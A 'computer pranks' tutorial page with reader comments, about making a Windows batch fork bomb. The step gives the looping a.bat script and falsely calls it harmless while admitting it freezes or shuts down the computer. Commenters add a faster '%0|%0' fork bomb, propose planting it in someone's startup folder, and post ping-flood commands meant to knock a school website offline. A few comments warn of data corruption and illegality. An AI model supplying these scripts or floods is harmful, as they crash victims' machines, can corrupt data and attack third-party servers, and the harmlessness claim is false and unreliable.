!!GREAT COMPUTER PRANKS !! computer commands using notepad and command prompt

Step 4 Fork Bomb (BATCH)

This prank will make a command run over and over until the computer cannot handle any more programs and the computer will freeze or shutdown.
!!!!THIS IS HARMLESS AND WILL DO NO DAMAGE TO YOUR COMPUTER!!!!!

To make this open note pad and type:

@echo off
:START
start a.bat
GOTO START

The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.

Comments

[ahardman]

I'd recommend this much smaller and faster fork bomb:
%0|%0

It will essentially do the same thing, only it will duplicate so rapidly, it is very difficult to kill the process before it takes over the entire system.

[yterrythemosteratlarge]

you can stop it by task manager and closeing command prompt

[xenongamer]

how do you stop it? "when you develop a weapon, you have to develop a counter weapon, and then develop a countewr for that counter weapon"

[neivadan]

well xenogamer if you have windows then your in luck you have task manger as your counter weapon but if you have something different as an os for your computer you can just download it as freeware considering it's like a program management consle.Aslo with this you can log other people off the computer through task manger without theyre password **)

[aparida1]

b4 starting it start another batch "shutdown -l -t 00"

[lperkins]

taskkill /IM /F a.bat

And while this prank is nominally harmless, it will crash the system, which can easily cause data corruption on Windows.

[username431]

however, you could put in the file to open a file that would close all the programs on your computer. this would prevent you computer from falling for that exact fork virus, but allow it to atack others because it would be written something like this: @echo off :START start a.bat GOTO START start blackhole.bat in this case blackhole.bat would be written to close all programs (and in the same location as a.bat), where if run on another computer , the program wouldnt be in the same location, it might not have the same name, or it might not exist. for this to work, you would have to put blackhole.bat as hidden

[DeanGPotts]

you could probably use the line shutdown -f -t 00 , all programs should close but the computer will stay on

[DeanGPotts]

nope, never mind i just tried it, i was logged off and after i logged back in i couldnt connect to the internet, had to do a restert, was quite annoying though and i think if someone doesnt know whats actually happened they would be pretty freaked out about it

[the dashing hero]

hi, wienies!

[DeanGPotts]

leid, was meinst du mit wienies bedeuten?

[Dr Menguin]

you can hold down CTRL+C

[dean-101]

restart the computer is the only way,

[sharlston]

how do you get the freeze computer off to get the immage off?

[11rex11]

actually no its not if you are quick enough go to run in the start menu type in the file name like in this case you would type virus.bat -a that shuts down that program

[musicninja17]

No, control + C should stop it.....

[xenongamer]

copy stops it?... no, that won't work.

[musicninja17]

http://www.instructables.com/id/SKY5R5OFHJMQY8X/

See this page.....also....the break key on your keyboard should do the trick also...

[neivadan]

i got a better idea you can make it open up all the programs in your computer make it call more and more windows of those programs till your computer is dead!!!!

[geekvig]

You could also just type:
start batchfile.bat
and save it as batchfile.bat

[KaptainCaps]

put this in someones start up folder and they will never be able to get on their file again >:D

[me!]

add ping *your schools website address*

[greenbean]

No way! Type in

ping -t yourschooladdress

[matbh]

better use:
"ping -t - l 65500 address" (its L)
increase the ping package to 65500 bytes tha maximum of ping package size.

if u get time out or any error message, try to reduce the value.

[ladiesman5477]

what does that do?

[Kasm279]

 It overflows the website and knocks it offline.

[mettaurlover]

something pure evil...

[Sparkplug]

lol thats bad!! =]

[Koolraap]

omg no not ping, that's to evil!

[kaz11126]

seriously, what does that do??

[Win7Maniac]

Holy crap, dude!!! I just figured out myself from reading me!'s comment!!! It bombards the site with requests untill the site run's out of bandwidth! Then the site can't take anymore and it crashes! Dude, pure evil. But that is illegal and yes, Koolraap is right, you can get thrown in jail. This is what happened to Friendster's site, but the pings came from so many places that they couldn't be tracked. You, though, can be tracked. Also, your computer would crash befor the school's network would.

[sharlston]

i thought it tells you the websites ip address

[Win7Maniac]

ping. it "pings" the server with packets. You could probably find the IP on whois.gov.

[Koolraap]

we can't tell, or the CIA will bust out asses, if FBI isn't here first

[me!]

lol, might as well make the packets 1MB while your at it, eh?

[greenbean]

Might as well, all though that is against pretty much any ISP service agreement. And illegal.

[DELETED_evilfrogie]

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[Kasm279]

 Most schools don't host the site on their own internet. Our school hosts theirs on one of the ISP's servers.

[mettaurlover]

The school I go to hosts its site on its own servers. I've seen them. They take up a whole room in the basement.

[corey_caffeine]

unless you trigger it from a school computer